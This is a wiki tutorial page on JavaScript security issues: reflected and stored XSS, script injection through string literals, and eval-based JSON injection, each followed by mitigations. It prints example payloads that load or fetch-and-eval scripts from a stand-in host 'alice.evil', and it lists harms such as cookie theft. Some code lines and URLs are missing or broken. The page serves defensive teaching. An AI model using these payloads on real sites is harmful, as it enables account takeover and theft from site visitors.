JavaScript TutorialDatatypes in JavaScriptEvaluating JavaScriptFunctional JavaScriptJavaScript .postMessage() and MessageEventJavaScript AJAXJavaScript Anti-patternsJavaScript Arithmetic (Math)JavaScript ArraysJavaScript Arrow FunctionsJavaScript Async functions (async/await)JavaScript Async IteratorsJavaScript Automatic Semicolon Insertion - ASIJavaScript Battery Status APIJavaScript Behavioral Design PatternsJavaScript Binary DataJavaScript Bitwise operatorsJavaScript Bitwise Operators - Real World Examples (snippets)JavaScript BOM (Browser Object Model)JavaScript Built-in ConstantsJavaScript CallbacksJavaScript ClassesJavaScript CommentsJavaScript Comparison OperationsJavaScript ConditionsJavaScript ConsoleJavaScript Constructor functionsJavaScript Context (this)JavaScript CookiesJavaScript Creational Design PatternsJavaScript Custom ElementsJavaScript Data attributesJavaScript Data ManipulationJavaScript DateJavaScript Date ComparisonJavaScript DebuggingJavaScript Declarations and AssignmentsJavaScript Destructuring assignmentJavaScript Detecting browserJavaScript EnumerationsJavaScript Error HandlingJavaScript Escape SequencesJavaScript EventsJavaScript execCommand and contenteditableJavaScript FetchJavaScript File API, Blobs and FileReadersJavaScript Fluent APIJavaScript FunctionsJavaScript GeneratorsJavaScript GeolocationJavaScript Global error handling in browsersJavaScript HistoryJavaScript How to make iterator usable inside async callback functionJavaScript IndexedDBJavaScript InheritanceJavaScript Intervals and TimeoutsJavaScript JSONJavaScript Linters - Ensuring code qualityJavaScript LocalizationJavaScript LoopsJavaScript MapJavaScript Memory efficiencyJavaScript Method ChainingJavaScript Modals - PromptsJavaScript Modularization TechniquesJavaScript ModulesJavaScript NamespacingJavaScript Navigator ObjectJavaScript Notifications APIJavaScript ObjectsJavaScript Performance TipsJavaScript PromisesJavaScript Prototypes, objectsJavaScript ProxyJavaScript Regular expressionsJavaScript requestAnimationFrameJavaScript Reserved KeywordsJavaScript Same Origin Policy & Cross-Origin CommunicationJavaScript ScopeJavaScript ScreenJavaScript Security issuesJavaScript Selection APIJavaScript Server-sent eventsJavaScript SetJavaScript Setters and GettersJavaScript Strict modeJavaScript StringsJavaScript SymbolsJavaScript Tail Call OptimizationJavaScript Template Literals

JavaScript Security issues

From WikiOD

This is a collection of common JavaScript security issues, like XSS and eval injection. This collection also contains how to mitigate these security issues.

Reflected Cross-site scripting (XSS)[edit | edit source]

Let's say Joe owns a website that allows you to log on, view puppy videos, and save them to your account.

Whenever a user searches on that website, they are redirected to

If a user's search doesn't match anything, than they see a message along the lines of:

Your search (brown puppies), didn't match anything. Try again.

On the backend, that message is displayed like this:

    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";

However, when Alice searches for <h1>headings</h1>, she gets this back:

Your search ('

headings[edit | edit source]

) didn't match anything. Try again.


Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Than Alice searches for <script>alert(1)</script>, she sees:

Your search (), didn't match anything. Try again.


An alert box that says "1".

Than Alice searches for <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies, and copies the link in her address bar, and than emails Bob:


When I search for cute puppies, nothing happens!

Than Alice sucessfully gets Bob to run her script while Bob is logged on to his account.

Mitigation:[edit | edit source]

  1. Escape all angle brackets in searches before returning the search term when no results are found.
  2. Don't return the search term when no results are found.
  3. Add a Content Security Policy that refuses to load active content from other domains

Persistent Cross-site scripting (XSS)[edit | edit source]

Let's say that Bob owns a social website that allows users to personalize their profiles.

Alice goes to Bob's website, creates an account, and goes to her profile settings. She sets her profile description to I'm actually too lazy to write something here.

When her friends view her profile, this code gets run on the server:

    page += "<div>" + viewedPerson.profile.description + "</div>";
    page += "<div>This person doesn't have a profile description.</div>";

Resulting in this HTML:

<div>I'm actually too lazy to write something here.</div>

Than Alice sets her profile description to <b>I like HTML</b>. When she visits her profile, instead of seeing

<b>I like HTML</b>

she sees

I like HTML

Then Alice sets her profile to

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Whenever someone visits her profile, they get Alice's script run on Bob's website while logged on as their account.

Mitigation[edit | edit source]

  1. Escape angle brackets in profile descriptions, etc.
  2. Store profile descriptions in a plain text file that is then fetched with a script that adds the description via .innerText
  3. Add a Content Security Policy that refuses to load active content from other domains

Persistent Cross-site scripting from JavaScript string literals[edit | edit source]

Let's say that Bob owns a site that lets you post public messages.

The messages are loaded by a script that looks like this:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

The addMessage function adds a posted message to the DOM. However, in an effort to avoid XSS, any HTML in messages posted is escaped.

The script is generated on the server like this:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";

So alice posts a message that says: My mom said: "Life is good. Pie makes it better. ". Than when she previews the message, instead of seeing her message she sees an error in the console:

Uncaught SyntaxError: missing ) after argument list

Why? Because the generated script looks like this:

addMessage("My mom said: "Life is good. Pie makes it better. "");

That's a syntax error. Than Alice posts:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Then the generated script looks like:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

That adds the message I like pie, but it also downloads and runs https://alice.evil/js_xss.js whenever someone visits Bob's site.

Mitigation:[edit | edit source]

  1. Pass the message posted into JSON.stringify()
  2. Instead of dynamically building a script, build a plain text file containing all the messages that is later fetched by the script
  3. Add a Content Security Policy that refuses to load active content from other domains

Why scripts from other people can harm your website and its visitors[edit | edit source]

If you don't think that malicious scripts can harm your site, you are wrong. Here is a list of what a malicious script could do:

  1. Remove itself from the DOM so that it can't be traced
  2. Steal users' session cookies and enable the script author to log in as and impersonate them
  3. Show a fake "Your session has expired. Please log in again." message that sends the user's password to the script author.
  4. Register a malicious service worker that runs a malicious script on every page visit to that website.
  5. Put up a fake paywall demanding that users pay money to access the site that actually goes to the script author.

Please, don't think that XSS won't harm your website and its visitors.

Evaled JSON injection[edit | edit source]

Let's say that whenever someone visits a profile page in Bob's website, the following URL is fetched:

With a response like this:

    "name": "Bob",
    "description": "Likes pie & security holes."

Than that data is parsed & inserted:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText =;
document.getElementById("#description").innerText = data.description;

Seems good, right? Wrong.

What if someone's description is Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.? Seems weird, but if poorly done, the response will be:

    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."

And this will be evaled:

    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."

If you don't think that's a problem, paste that in your console and see what happens.

Mitagation[edit | edit source]

Use JSON.parse instead of eval to get JSON. In general, don't use eval, and definitely don't use eval with something a user could control. Eval creates a new execution context, creating a performance hit.

Properly escape " and \ in user data before putting it in JSON. If you just escape the ", than this will happen:

Hello! \"});alert(1);({

Will be converted to:

"Hello! \\"});alert(1);({"

Oops. Remember to escape both the \ and ", or just use JSON.parse.